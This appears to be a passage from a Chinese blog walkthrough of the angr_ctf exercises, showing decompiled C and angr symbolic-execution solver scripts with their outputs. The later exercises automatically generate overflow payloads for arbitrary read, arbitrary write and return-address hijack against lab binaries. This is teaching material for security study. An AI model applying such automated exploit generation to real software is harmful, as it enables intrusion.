[ebp+var_18].text:08048929 push ecx.text:0804892A push offset aXXX ; "%x %x %x".text:0804892F call ___isoc99_scanf.text:08048934 add esp, 10h.text:08048937 mov ecx, [ebp+var_18].text:0804893A mov eax, ecx.text:0804893C mov ecx, [ebp+var_14].text:0804893F mov ebx, ecx.text:08048941 mov ecx, [ebp+var_10].text:08048944 mov edx, ecx\n\n因此我们可以直接将该函数钩取,然后手动设置寄存器的值:\nimport angrproject=angr.Project("./03_angr_symbolic_registers",auto_load_libs=False)state=project.factory.blank_state(addr=0x08048980)\n\n由于现在我们再从 entry_point 进入了,而需要跳过 get_user_input 函数,因此使用 blank_state 来初始化状态,并将开始地址设定在该函数之后的第一条指令处。\n接下来创建三个位置的符号向量,将他们设定为寄存器:\nimport claripyinput1=claripy.BVS("input1",32)input2=claripy.BVS("input2",32)input3=claripy.BVS("input3",32)state.regs.eax=input1state.regs.ebx=input2state.regs.edx=input3sim=project.factory.simgr(state)sim.explore(find=0x80489E9)\n\n此处引入另外一个 claripy 包来创建符号向量: claripy.BVS(name,size) 。创建完成后即可生成 SM 并开始探索了。\n完成探索后,最后需要求解符号向量的值:\nif sim.found: res=sim.found[0] res1=res.solver.eval(input1) res2=res.solver.eval(input2) res3=res.solver.eval(input3) print(hex(res1)+" "+hex(res2)+" "+hex(res3))#0xb9ffd04e 0xccf63fe8 0x8fd4d959else: print("No")\n\n04_angr_symbolic_stackint handle_user(){ int v1; // [esp+8h] [ebp-10h] BYREF int v2[3]; // [esp+Ch] [ebp-Ch] BYREF __isoc99_scanf("%u %u", v2, &v1); v2[0] = complex_function0(v2[0]); v1 = complex_function1(v1); if ( v2[0] == 1999643857 && v1 == -1136455217 ) return puts("Good Job."); else return puts("Try again.");}\n\n到这一步其实就差不多轻车熟路一把梭搞定了:\nimport angrproject=angr.Project("./04_angr_symbolic_stack",auto_load_libs=False)state=project.factory.entry_state()sim=project.factory.simgr(state)sim.explore(find=0x080486E4)if sim.found: res=sim.found[0] res=res.posix.dumps(0) print(res)#b'1704280884 2382341151'\n\n不过这道题实际上和上一题类似,但输入值储存在栈中,因此标准做法其实是将内存符号化进行求解:\nimport angrproject=angr.Project("./04_angr_symbolic_stack",auto_load_libs=False)state=project.factory.blank_state(addr=0x08048694)import claripyinput1=claripy.BVS("input1",32)input2=claripy.BVS("input2",32)state.regs.ebp=state.regs.espstate.regs.esp-=0x1cstate.memory.store(state.regs.ebp-0xc,input1)state.memory.store(state.regs.ebp-0x10,input2)sim=project.factory.simgr(state)sim.explore(find=0x080486E4)if sim.found: res=sim.found[0] res=res.solver.eval(input1) print(res) res=sim.found[0] res=res.solver.eval(input2) print(res)\n\n通过 state.memory.store(addr,value) 可以对内存进行符号化,从而在路径发现以后进行求解。\n05_angr_symbolic_memoryint __cdecl main(int argc, const char **argv, const char **envp){ int i; // [esp+Ch] [ebp-Ch] memset(&user_input, 0, 33); printf("Enter the password: "); __isoc99_scanf("%8s %8s %8s %8s", &user_input, &unk_A1BA1C8, &unk_A1BA1D0, &unk_A1BA1D8); for ( i = 0; i <= 31; ++i ) *(i + 169583040) = complex_function(*(i + 169583040), i); if ( !strncmp(&user_input, "NJPURZPCDYEAXCSJZJMPSOMBFDDLHBVN", 32) ) puts("Good Job."); else puts("Try again."); return 0;}\n\n这道题同样因为现在的 Angr 功能强大而不需要以前那样复杂的技巧了:\nimport angrproject=angr.Project("./05_angr_symbolic_memory",auto_load_libs=False)state=project.factory.entry_state()sim=project.factory.simgr(state)sim.explore(find=0x0804866D)if sim.found: res=sim.found[0] print(res.posix.dumps(0))#b'NAXTHGNR JVSFTPWE LMGAUHWC XMDCPALU'\n\n而题目的本意是让我们将内存符号化,其实和上一题一样,直接对内存进行存储就行了:\nimport angrproject=angr.Project("./05_angr_symbolic_memory",auto_load_libs=False)state=project.factory.blank_state(addr=0x080485FE)import claripypwd1=claripy.BVS("pwd1",64)pwd2=claripy.BVS("pwd2",64)pwd3=claripy.BVS("pwd3",64)pwd4=claripy.BVS("pwd4",64)state.memory.store(0x0A1BA1C0,pwd1)state.memory.store(0x0A1BA1C0+8,pwd2)state.memory.store(0x0A1BA1C0+8+8,pwd3)state.memory.store(0x0A1BA1C0+8+8+8,pwd4)sim=project.factory.simgr(state)sim.explore(find=0x0804866D)if sim.found: res=sim.found[0] print(res.solver.eval(pwd1)) print(res.solver.eval(pwd2)) print(res.solver.eval(pwd3)) print(res.solver.eval(pwd4))\n\n06_angr_symbolic_dynamic_memoryint __cdecl main(int argc, const char **argv, const char **envp){ _BYTE *v3; // ebx _BYTE *v4; // ebx int v6; // [esp-18h] [ebp-24h] int v7; // [esp-14h] [ebp-20h] int v8; // [esp-10h] [ebp-1Ch] int v9; // [esp-8h] [ebp-14h] int v10; // [esp-4h] [ebp-10h] int v11; // [esp+0h] [ebp-Ch] int i; // [esp+0h] [ebp-Ch] buffer0 = malloc(9, v6, v7, v8); buffer1 = malloc(9, v9, v10, v11); memset(buffer0, 0, 9); memset(buffer1, 0, 9); printf("Enter the password: "); __isoc99_scanf("%8s %8s", buffer0, buffer1); for ( i = 0; i <= 7; ++i ) { v3 = (_BYTE *)(buffer0 + i); *v3 = complex_function(*(char *)(buffer0 + i), i); v4 = (_BYTE *)(buffer1 + i); *v4 = complex_function(*(char *)(buffer1 + i), i + 32); } if ( !strncmp(buffer0, "UODXLZBI", 8) && !strncmp(buffer1, "UAORRAYF", 8) ) puts("Good Job."); else puts("Try again."); free(buffer0); free(buffer1); return 0;}\n\n和上一题不同的地方在于,这次的存储位置为堆内存,我们不能直接给出一个地址然后去存储。\n一把梭还是可行的:\nimport angrproject=angr.Project("./06_angr_symbolic_dynamic_memory",auto_load_libs=False)state=project.factory.entry_state()sim=project.factory.simgr(state)sim.explore(find=0x08048759)if sim.found: res=sim.found[0] print(res.posix.dumps(0))\n\n而标准做法是:\nimport angrproject=angr.Project("./06_angr_symbolic_dynamic_memory",auto_load_libs=False)state=project.factory.blank_state(addr=0x08048699)buff0=0x0ABCC8A4buff1=0x0ABCC8ACimport claripypwd1=claripy.BVS("pwd1",64)pwd2=claripy.BVS("pwd2",64)state.memory.store(buff0,0xffffff00,endness=project.arch.memory_endness)state.memory.store(buff1,0xffffff80,endness=project.arch.memory_endness)state.memory.store(0xffffff00,pwd1)state.memory.store(0xffffff80,pwd2)sim=project.factory.simgr(state)sim.explore(find=0x08048759)if sim.found: res=sim.found[0] print(res.solver.eval(pwd1)) print(res.solver.eval(pwd2))\n\n通过这题就能够理解符号执行的一个好处了。由于它并不是真的去执行,只是模拟执行代码而已,所以对地址本身没有限制,完全可以随意设定内存的使用方法。\n另外 endness 参数用于指定储存的端序,而 project.arch.memory_endness 将会反映程序所在平台的默认端序,此处为小端序。\n07_angr_symbolic_fileint __cdecl main(int argc, const char **argv, const char **envp){ int result; // eax int i; // [esp+Ch] [ebp-Ch] memset(&buffer, 0, 64); printf("Enter the password: "); __isoc99_scanf("%64s", &buffer); ignore_me(&buffer, 64); memset(&buffer, 0, 64); fp = fopen("OJKSQYDP.txt", "rb"); fread(&buffer, 1, 64, fp); fclose(fp); unlink("OJKSQYDP.txt"); for ( i = 0; i <= 7; ++i ) *(_BYTE *)(i + 134520992) = complex_function(*(char *)(i + 134520992), i); if ( strncmp(&buffer, "AQWLCTXB", 9) ) { puts("Try again."); exit(1); } puts("Good Job."); exit(0); _libc_csu_init(); return result;}\n\n可以发现程序调用了 fopen 去打开文件,对于这种情况,Angr 也同样提供了模拟文件的系统。\n同样的,照旧一把梭也能搞定:\nimport angrproject=angr.Project("./07_angr_symbolic_file",auto_load_libs=False)state=project.factory.entry_state()sim=project.factory.simgr(state)sim.explore(find=0x080489B0)if sim.found: res=sim.found[0] print(res.posix.dumps(0))#b'AZOMMMZM\\x00@\\x04\\x00\\x01\\x01\\x01\\x01\\x01\\x00\\x00\\x00\\x02\\x00\\x01\\x00\\x80\\x04\\x80\\x00\\x02\\x01\\x04\\x00\\x02\\x80\\x08\\x01\\x00\\x02\\x01\\x01\\x01@\\x01\\x00\\x08\\x08\\x04\\x80\\x04\\x01\\x80\\x01\\x04\\x80\\x02\\x00\\x00@\\x00\\x00\\x00\\x00\\x00\\x00'\n\n不过还是来看看它的模拟文件系统吧:\nimport angrimport claripyproject=angr.Project("./07_angr_symbolic_file",auto_load_libs=False)state=project.factory.blank_state(addr=0x080488EA)filename = 'OJKSQYDP.txt'pwd1=claripy.BVS("pwd1",64*8)pwdfile=angr.storage.SimFile(filename,content=pwd1,size=64)state.fs.insert(filename,pwdfile)sim=project.factory.simgr(state)sim.explore(find=0x080489B0)if sim.found: res=sim.found[0] print(hex(res.solver.eval(pwd1)))#0x415a4f4d4d4d5a4d0000000000000000000000000002000020000000000200000000000000008000000000401002000000000000000000000004001000000000\n\n前几个还是照旧,但是也有一些新东西:\npwdfile=angr.storage.SimFile(filename,content=pwd1,size=64)state.fs.insert(filename,pwdfile)\n\nangr.storage.SimFile 提供了一个模拟文件系统,通过 state.fs.insert 可以将该模拟出来的文件插入到 state 符号中。这样在模拟执行时就会用该文件替代真实情况下的文件了。\n而 angr.storage.SimFile 的 filename 参数表示文件名,content 参数表示文件内容,size 参数表示文件大小,单位为字节。\n08_angr_constraintsint __cdecl main(int argc, const char **argv, const char **envp){ int i; // [esp+Ch] [ebp-Ch] qmemcpy(&password, "AUPDNNPROEZRJWKB", 16); memset(&buffer, 0, 17); printf("Enter the password: "); __isoc99_scanf("%16s", &buffer); for ( i = 0; i <= 15; ++i ) *(i + 134520912) = complex_function(*(i + 134520912), 15 - i); if ( check_equals_AUPDNNPROEZRJWKB(&buffer, 16) ) puts("Good Job."); else puts("Try again."); return 0;}\n\nBOOL __cdecl check_equals_AUPDNNPROEZRJWKB(int a1, unsigned int a2){ int v3; // [esp+8h] [ebp-8h] unsigned int i; // [esp+Ch] [ebp-4h] v3 = 0; for ( i = 0; i < a2; ++i ) { if ( *(i + a1) == *(i + 134520896) ) ++v3; } return v3 == a2;}\n\n在这里就能遇到之前所说的 “路径爆炸” 问题了。\n照例试试一把梭:\nimport angrproject=angr.Project("./08_angr_constraints",auto_load_libs=False)state=project.factory.entry_state()sim=project.factory.simgr(state)sim.explore(find=0x08048694)if sim.found: print("yes")\n\n会发现这次就没办法那么顺利得到答案了,Angr 求解了半天却一直没有给出 “yes” 的回答,因此这次我们必须手动去优化求解的过程。\n分析 check_equals_AUPDNNPROEZRJWKB 函数可以发现,该函数实际上是在对输入和 password 对比,而 password 的值是固定的 AUPDNNPROEZRJWKB 。\n因此第一种缓解路径爆炸的方法是,只需要探索到进入该路径即可。而此后的求解过程通过人为的方法手动增加。\n首先还是创建状态,这里我们跳过了 scanf :\nimport angrproject=angr.Project("./08_angr_constraints",auto_load_libs=False)state=project.factory.blank_state(addr=0x08048625)\n\n接下来我们为 buffer 创建符号,并开始探索:\nimport claripypwd=claripy.BVS("pwd",16*8)state.memory.store(0x0804A050,pwd)sim=project.factory.simgr(state)sim.explore(find=0x08048565)\n\n此处地址 0x08048565 对应了 check_equals_AUPDNNPROEZRJWKB 函数的第一行指令。这样就不必进入到会引发路径爆炸的循环中了。\n最后,在找到路径以后,为求解器主动添加条件:\nif sim.found: res=sim.found[0] now_str=state.memory.load(0x0804A050,16) res.solver.add("AUPDNNPROEZRJWKB"==now_str) print(res.solver.eval(pwd)) \n\n我们需要保证的是,在进入 check_equals_AUPDNNPROEZRJWKB 函数时,buffer 处的内容和字符串 AUPDNNPROEZRJWKB 相同,因此直接添加条件即可求解。\n09_angr_hooksint __cdecl main(int argc, const char **argv, const char **envp){ BOOL v3; // eax int i; // [esp+8h] [ebp-10h] int j; // [esp+Ch] [ebp-Ch] qmemcpy(&password, "XYMKBKUHNIQYNQXE", 16); memset(&buffer, 0, 17); printf("Enter the password: "); __isoc99_scanf("%16s", &buffer); for ( i = 0; i <= 15; ++i ) *(_BYTE *)(i + 134520916) = complex_function(*(char *)(i + 134520916), 18 - i); equals = check_equals_XYMKBKUHNIQYNQXE(&buffer, 16); for ( j = 0; j <= 15; ++j ) *(_BYTE *)(j + 134520900) = complex_function(*(char *)(j + 134520900), j + 9); __isoc99_scanf("%16s", &buffer); v3 = equals && !strncmp(&buffer, &password, 16); equals = v3; if ( v3 ) puts("Good Job."); else puts("Try again."); return 0;}\n\n而上一题的操作总归来说是解一时之急,因为函数正好在最后的位置,所以停在那边就足够了。但是如果路径爆炸发生在中途,就不能这么做了,我们需要更好的方法解决它。\n首先是路径爆炸会发生在 check_equals_XYMKBKUHNIQYNQXE 函数中,它和上一题的函数是一样的。\n前几个还是一样:\nimport angrimport claripyproject=angr.Project("./09_angr_hooks",auto_load_libs=False)state=project.factory.entry_state()\n\n接下来是对该函数进行钩取:\n@project.hook(0x080486B3, length=5)def skip_check(state): compare_str="XYMKBKUHNIQYNQXE" now_str=state.memory.load(0x0804A054,16) state.regs.eax=claripy.If(compare_str==now_str,claripy.BVV(1, 32),claripy.BVV(0, 32))\n\n钩取方法可以通过 @project.hook 宏完成。第一个参数为对应的机器码地址,第二个参数为钩取的指令长度。此处因为我们只需要钩取 call 指令,因此长度为 5。\n而钩子下面对应的需要定义钩子函数,此处我们将 buffer 的内容读取出来进行比较,并根据结果使用 claripy.If 来设置 eax 寄存器。\n最后探索路径即可:\nsim=project.factory.simgr(state)sim.explore(find=0x08048768)if sim.found: res=sim.found[0] print(res.posix.dumps(0))\n\n此方法为第二个缓解路径爆炸的方法,即直接对地址进行钩取。\n10_angr_simproceduresint __cdecl main(int argc, const char **argv, const char **envp){ int i; // [esp+20h] [ebp-28h] char v5[17]; // [esp+2Bh] [ebp-1Dh] BYREF unsigned int v6; // [esp+3Ch] [ebp-Ch] v6 = __readgsdword(0x14u); memcpy(&password, "ORSDDWXHZURJRBDH", 16); memset(v5, 0, sizeof(v5)); printf("Enter the password: "); __isoc99_scanf("%16s", v5); for ( i = 0; i <= 15; ++i ) v5[i] = complex_function(v5[i], 18 - i); if ( check_equals_ORSDDWXHZURJRBDH(v5, 16) ) puts("Good Job."); else puts("Try again."); return 0;}\n\n第 10 题看起来和上一题一样,但是还是那个问题,如果调用点很多该怎么办?虽然 IDA 分析出的结果相似,但是通过交叉引用可以发现:\n\n显然不太可能每次都对地址进行钩取,因此需要有一个方法直接钩取函数:\nimport angrimport claripyproject=angr.Project("./10_angr_simprocedures",auto_load_libs=False)state=project.factory.entry_state()\n\n接下来钩取函数:\nclass ReplaceCmp(angr.SimProcedure): def run(self,arg1,arg2): cmp_str="ORSDDWXHZURJRBDH" input_str=self.state.memory.load(arg1,arg2) return claripy.If(cmp_str==input_str,claripy.BVV(1,32),claripy.BVV(0,32))project.hook_symbol("check_equals_ORSDDWXHZURJRBDH", ReplaceCmp())\n\n首先需要声明一个类,并定义 run 方法,而该方法将取代想要钩取的函数。其参数会和钩取的函数有相同的参数列表,但除此之外还需要一个 self 。\n至于 run 函数的实现则各不相同了。这里我们就直接模仿比较函数的最终效果,返回比较的结果。\n然后调用 project.hook_symbol 方法直接以函数名为参数对函数进行钩取即可。\n11_angr_sim_scanfint __cdecl main(int argc, const char **argv, const char **envp){ int i; // [esp+20h] [ebp-28h] char v6[20]; // [esp+28h] [ebp-20h] BYREF unsigned int v7; // [esp+3Ch] [ebp-Ch] v7 = __readgsdword(0x14u); print_msg(); memset(v6, 0, sizeof(v6)); qmemcpy(v6, "DCLUESMR", 8); for ( i = 0; i <= 7; ++i ) v6[i] = complex_function(v6[i], i); printf("Enter the password: "); __isoc99_scanf("%u %u", &buffer0, &buffer1); if ( !strncmp(&buffer0, v6, 4) && !strncmp(&buffer1, &v6[4], 4) ) puts("Good Job."); else puts("Try again."); return 0;}\n\n发现一把梭能解决:\nimport angrproject=angr.Project("./11_angr_sim_scanf",auto_load_libs=False)state=project.factory.entry_state()sim=project.factory.simgr(state)sim.explore(find=0x0804FCA1)if sim.found: res=sim.found[0] print(res.posix.dumps(0)) #b'1146242628 1296386129'\n\n不过原题的目的是让我们去钩取 scanf 函数。其实做法和上一题一样,这里就不再重复了。不过有一点我们必须抱有疑问,我们知道这类函数的参数数量是不确定的,但如果想要钩取一个函数,我们就需要给定一个确定的参数列表,这样才能定义 run 方法。\n这个问题我们留待以后阅读源代码再做考虑。至少目前来看,Angr 已经完善了 scanf 函数的 hook 了,我们可以直接一把梭解决这个问题。\n12_angr_veritesting// bad sp value at call has been detected, the output may be wrong!int __cdecl main(int argc, const char **argv, const char **envp){ int v3; // ebx int v5; // [esp-10h] [ebp-5Ch] int v6; // [esp-Ch] [ebp-58h] int v7; // [esp-8h] [ebp-54h] int v8; // [esp-4h] [ebp-50h] const char **v9; // [esp+0h] [ebp-4Ch] int v10; // [esp+4h] [ebp-48h] int v11; // [esp+8h] [ebp-44h] int v12; // [esp+Ch] [ebp-40h] int v13; // [esp+10h] [ebp-3Ch] int v14; // [esp+10h] [ebp-3Ch] int v15; // [esp+14h] [ebp-38h] int i; // [esp+14h] [ebp-38h] int v17; // [esp+18h] [ebp-34h] int v18[9]; // [esp+1Ch] [ebp-30h] BYREF unsigned int v19; // [esp+40h] [ebp-Ch] int *p_argc; // [esp+44h] [ebp-8h] p_argc = &argc; v9 = argv; v19 = __readgsdword(0x14u); print_msg(); memset( v18 + 3, 0, 33, v5, v6, v7, v8, v9, v10, v11, v12, v13, v15, v17, v18[0], v18[1], v18[2], v18[3], v18[4], v18[5]); printf("Enter the password: "); __isoc99_scanf("%32s", v18 + 3); v14 = 0; for ( i = 0; i <= 31; ++i ) { v3 = *(v18 + i + 3); if ( v3 == complex_function(87, i + 186) ) ++v14; } if ( v14 != 32 v19 ) puts("Try again."); else puts("Good Job."); return 0;}\n\n既然我们是通过钩取函数来解决某个函数的路径爆炸问题,那么就肯定会遇到这么一种情况:函数的某部分引发路径爆炸,但其他部分在做必要的运算 。\n本题就可以发现,循环判断语句嵌在 main 函数中,我们显然不能直接把整个 main 函数 hook 掉,那样就和直接读代码逆向没区别了。\nAngr 提供了一种名为 Veritesting 的算法,它能够让符号执行引起在 动态符号执行DSE 和 静态符号执行SSE 之间协同工作从而减少路径爆炸的问题。\n在 Angr 中只需要为 project.factory.simgr 添加一个参数 veritesting=True 即可开启。\nimport angrproject=angr.Project("./12_angr_veritesting",auto_load_libs=False)state=project.factory.entry_state()sim=project.factory.simgr(state,veritesting=True)sim.explore(find=0x08048684)if sim.found: res=sim.found[0] print(res.posix.dumps(0))b'CXSNIDYTOJEZUPKFAVQLGBWRMHCXSNID'\n\n不过不得不说的是,这个方法看起来好像很万能,其实并没有想象中的那么好用。对于本题的这个体量来说,笔者执行了约 5 次才有一次能够迅速的算出结果。可想而知,对于体积稍微大一些,类似的循环稍微多一些的程序来说,这个方法并不能带来多大的提升,反而会让人难以猜测程序究竟是卡在路径爆炸中还是仍然处于计算。\n因此对于一些简单的问题,笔者虽然推荐这个方法,但只要问题稍微复杂一点,它甚至会增加人力负担。\n13_angr_static_binaryint __cdecl main(int argc, const char **argv, const char **envp){ int i; // [esp+1Ch] [ebp-3Ch] int j; // [esp+20h] [ebp-38h] char v6[20]; // [esp+24h] [ebp-34h] BYREF char v7[20]; // [esp+38h] [ebp-20h] BYREF unsigned int v8; // [esp+4Ch] [ebp-Ch] v8 = __readgsdword(0x14u); print_msg(); for ( i = 0; i <= 19; ++i ) v7[i] = 0; qmemcpy(v7, "LJVNEPAU", 8); printf("Enter the password: "); _isoc99_scanf("%8s", v6); for ( j = 0; j <= 7; ++j ) v6[j] = complex_function(v6[j], j); if ( !strcmp(v6, v7) ) puts("Good Job."); else puts("Try again."); return 0;}\n\n程序本身也并不复杂,和上一题的主要区别在于,这次使用了静态编译去生成二进制文件。\n本身 Angr 是在库函数装载时钩取这些函数的,静态编译的程序没有这个过程,因此道理上就会被主动分析,这就会带来很大的消耗了,因此本题需要钩取那些静态编译生成的库函数。\n其实差异不大,在上一篇文章中提到过,angr 内置了多个库函数,既然现在它无法自动钩取,由我们手动去做这件事就行了:\nimport angrproject=angr.Project("./13_angr_static_binary",auto_load_libs=False)state=project.factory.entry_state()project.hook(0x0804ED40,angr.SIM_PROCEDURES['libc']['printf']())project.hook(0x0804ED80,angr.SIM_PROCEDURES['libc']['scanf']())project.hook(0x0804F350,angr.SIM_PROCEDURES['libc']['puts']())project.hook(0x08048D10,angr.SIM_PROCEDURES['glibc']['__libc_start_main']())project.hook(0x0805B450,angr.SIM_PROCEDURES['libc']['strcmp']())sim=project.factory.simgr(state,veritesting=True)sim.explore(find=0x080489E1)if sim.found: res=sim.found[0] print(res.posix.dumps(0))#LYZGMMMV\n\n14_angr_shared_library\nBOOL __cdecl validate(int a1, int a2){ _BYTE *v3; // esi char v4[20]; // [esp+4h] [ebp-24h] BYREF int j; // [esp+18h] [ebp-10h] int i; // [esp+1Ch] [ebp-Ch] if ( a2 <= 7 ) return 0; for ( i = 0; i <= 19; ++i ) v4[i] = 0; qmemcpy(v4, "WLKGLJWH", 8); for ( j = 0; j <= 7; ++j ) { v3 = (j + a1); *v3 = complex_function(*(j + a1), j); } return strcmp(a1, v4) == 0;}\n\n这道题的特殊情况在于程序加载了额外的动态库并使用其中的函数。由于这个动态库是用户编写的,Angr 不能找到替代品去 hook 。而我们其实也不方便直接加载它,因为通过 auto_load_libs 会把其他无关紧要的东西一起加载进来。\n不过好在,这道题的主要逻辑全都放在了动态库中,这就能简化我们的操作了。\n我们可以使用 call_state 来完成操作:\nimport angrproject=angr.Project("./lib14_angr_shared_library.so",auto_load_libs=False)state=project.factory.call_state(0x000006D7+0x400000,arg1,claripy.BVV(8, 32))\n\n\n参数一:入口点地址\n参数二:该函数对应的参数 1\n参数三:该函数对应的参数 2\n……\n\n另外,我们将该函数的加载基址设到了 0x400000 。\n然后就是对参数的内容进行符号化:\npwd = claripy.BVS('pwd', 8*8)state.memory.store(arg1, pwd)\n\n最后就是求解方程了:\nsim=project.factory.simgr(state)sim.explore(find=0x783+0x400000)if sim.found: res=sim.found[0] res.add_constraints(res.regs.eax!=0) print(res.solver.eval(pwd))#6293577405752494919\n\n不过因为校验返回值的内容并不在库文件,所以我们需要手动通过 add_constraints 来为状态添加约束。\n当然,用 res.solver.add 也是可以的:\nsim.explore(find=0x783+0x400000)if sim.found: res=sim.found[0] res.solver.add(res.regs.eax!=0) print(res.solver.eval(pwd))#6293577405752494919\n\n不过需要区别的是,add_constraints 的约束是对状态所做的,而 res.solver.add 是对约束器做的。在本题中两个方法都行,但不能混用。\n15_angr_arbitrary_readint __cdecl main(int argc, const char **argv, const char **envp){ char v4; // [esp+Ch] [ebp-1Ch] BYREF char *v5; // [esp+1Ch] [ebp-Ch] v5 = try_again; print_msg(); printf("Enter the password: "); __isoc99_scanf("%u %20s", &key, &v4); if ( key == 19511649 ) puts(v5); else puts(try_again); return 0;}\n\n这次的题目就比较特殊了,它要求我们用 Angr 自动求解一个 payload,使得最终会溢出到变量 v5 来修改 puts 的参数。\nimport angrproject=angr.Project("./15_angr_arbitrary_read",auto_load_libs=False)state=project.factory.entry_state()sim=project.factory.simgr(state)def check_puts(state): puts_parameter = state.memory.load(state.regs.esp + 4, 4, endness=project.arch.memory_endness) is_vulnerable_expression = puts_parameter == 0x594e4257 if is_vulnerable_expression!=0: return True else: return Falsedef is_successful(state): puts_address = 0x8048370 if state.addr == puts_address: return check_puts(state) else: return Falsesim.explore(find=is_successful)if sim.found: res=sim.found[0] print(res.posix.dumps(0))\n\n其实思路很朴素,在函数调用 pust 时检查一下参数,看看它是不是 Good Job 字符串的地址即可。\n不得不说,Angr 的功能确实强大,连自动化求解 payload 都能做到了。\n16_angr_arbitrary_writeint __cdecl main(int argc, const char **argv, const char **envp){ char v4[16]; // [esp+Ch] [ebp-1Ch] BYREF void *v5; // [esp+1Ch] [ebp-Ch] v5 = &unimportant_buffer; memset(v4, 0, sizeof(v4)); strncpy(&password_buffer, "PASSWORD", 12); print_msg(); printf("Enter the password: "); __isoc99_scanf("%u %20s", &key, v4); if ( key == 24173502 ) strncpy(v5, v4, 16); else strncpy(&unimportant_buffer, v4, 16); if ( !strncmp(&password_buffer, "DVTBOGZL", 8) ) puts("Good Job."); else puts("Try again."); return 0;}\n\n目的是显然的,通过 __isoc99_scanf 来溢出,让 v5 指向 password_buffer 。\n笔者本来是打算直接直接将结果卡在 strncpy :\n\nimport angrimport claripyproject=angr.Project("./16_angr_arbitrary_write",auto_load_libs=False)state=project.factory.entry_state()sim=project.factory.simgr(state)def is_successful(state): if state.addr== 0x08048611: return True else: return Falsesim.explore(find=is_successful)if sim.found: print("yes") res=sim.found[0] print(res.posix.dumps(0))else: print("no")\n\n最后会发现这个写法是有问题的,Angr 最终会给出 No 。可以发现 Angr 对 find 的判断取决于每次进入基本块的第一个地址。\n因为它并不以每一条指令进行判断,而是对每次状态执行一次 step 执行完整个基本块后,再调用 find 的条件进行判断。\n\n不过,如果 find 本身是一个地址的话,却能够正常发现,有点奇怪,这个问题留到以后看源代码吧。\n\n最后笔者试着这样去完成:\nimport angrimport claripyproject=angr.Project("./16_angr_arbitrary_write",auto_load_libs=False)state=project.factory.entry_state()sim=project.factory.simgr(state)def check_v5(state): arg0=state.memory.load(state.regs.ebp-0xc,4,endness=project.arch.memory_endness) arg1=state.memory.load(state.regs.ebp-0x1c,4,endness=project.arch.memory_endness) now_str=state.memory.load(arg1,8) if state.solver.symbolic(arg0) and state.solver.symbolic(now_str): does_src_hold_password=arg0==0x4655544c does_dest_equal_buffer_address=now_str[-1:-64] == 'DVTBOGZL' if state.satisfiable(extra_constraints=(does_src_hold_password, does_dest_equal_buffer_address)): state.add_constraints(does_src_hold_password,does_dest_equal_buffer_address) return True else: return False else: return Falsedef is_successful(state): if state.addr== 0x08048604: return check_v5(state) else: return Falsesim.explore(find=is_successful)if sim.found: print("yes") res=sim.found[0] print(res.posix.dumps(0))else: print("no")\n\n它能帮我算出 key 和 v4 的最后四字节,但是中间的前几位却一直算不出结果。如果您知道为什么还请告诉我。\nb'0024173502 \\xf0\\xff\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00LTUF'\n\n最后还是修改了钩子钩取的地址来完成本题:\nimport angrimport claripyproject=angr.Project("./16_angr_arbitrary_write",auto_load_libs=False)state=project.factory.entry_state()sim=project.factory.simgr(state)def check_v5(state): arg0=state.memory.load(state.regs.esp + 4,4,endness=project.arch.memory_endness) arg1=state.memory.load(state.regs.esp + 8,4,endness=project.arch.memory_endness) now_str=state.memory.load(arg1,8) if state.solver.symbolic(arg0) and state.solver.symbolic(now_str): does_src_hold_password=arg0==0x4655544c does_dest_equal_buffer_address=now_str[-1:-64] == 'DVTBOGZL' if state.satisfiable(extra_constraints=(does_src_hold_password, does_dest_equal_buffer_address)): state.add_constraints(does_src_hold_password,does_dest_equal_buffer_address) return True else: return False else: return Falsedef is_successful(state): if state.addr== 0x8048410: return check_v5(state) else: return Falsesim.explore(find=is_successful)if sim.found: res=sim.found[0] print(res.posix.dumps(0)) #b'0024173502 DVTBOGZL\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00LTUF'else: print("no")\n\n可以看见,如果我将判断的地址添加在 0x8048410 处,也就是 strncpy 的 plt 表上,就能够顺利解决这个问题了。\n有些迷惑。\n17_angr_arbitrary_jumpint __cdecl main(int argc, const char **argv, const char **envp){ print_msg(); printf("Enter the password: "); read_input(); puts("Try again."); return 0;}\n\nint read_input(){ char v1[30]; // [esp+1Ah] [ebp-1Eh] BYREF return __isoc99_scanf(&unk_4D4C4860, v1);}\n\n\nunk_4D4C4860 处为 %s\n\n显然就是一个栈溢出了,但是这次需有让 Angr 自动去覆盖返回地址到 print_good 函数:\nint print_good(){ puts("Good Job."); exit(0); return read_input();}\n\n同样还是最开始那几个,但是注意,本题需要额外添加一个参数:\nimport angrproject=angr.Project("./17_angr_arbitrary_jump",auto_load_libs=False)state=project.factory.entry_state()sim=project.factory.simgr(state,save_unconstrained=True)\n\nsave_unconstrained=True 会让 Angr 保存那些不受约束的状态。其实默认情况下的状态就是未约束的。将这些路径保存下来以后,进行遍历:\nd=sim.explore()for state in d.unconstrained: typ=project.arch.memory_endness next_stack=state.memory.load(state.regs.esp,4,endness=typ) state.add_constraints(next_stack==0x4D4C4749) state.add_constraints(state.regs.eip==0x4D4C4785) print(state.posix.dumps(0))#b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x85GLMIGLM\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\n\n为状态添加约束,去寻找同时满足 next_stack==0x4D4C4749 和 state.regs.eip==0x4D4C4785 的状态,然后给出该状态对应的 stdin 。\n结语其实做完这么多题目,尽管感叹 Angr 确实厉害的同时,也不得不承认它仍然有很多的问题,也并没有想象中那么完美。或许要让它走向更加实用的方向还需要一定的积累吧。\n","categories":["Note","漏洞挖掘"],"tags":["漏洞挖掘","符号执行"]},{"title":"常用命令 与 其他注释","url":"/2021/02/21/assembly01/","content":"因为网上各种各样的笔记都不如自己写一遍来得方便查阅,所以按照自己的喜好整理一下汇编的笔记。目前跟着Kip 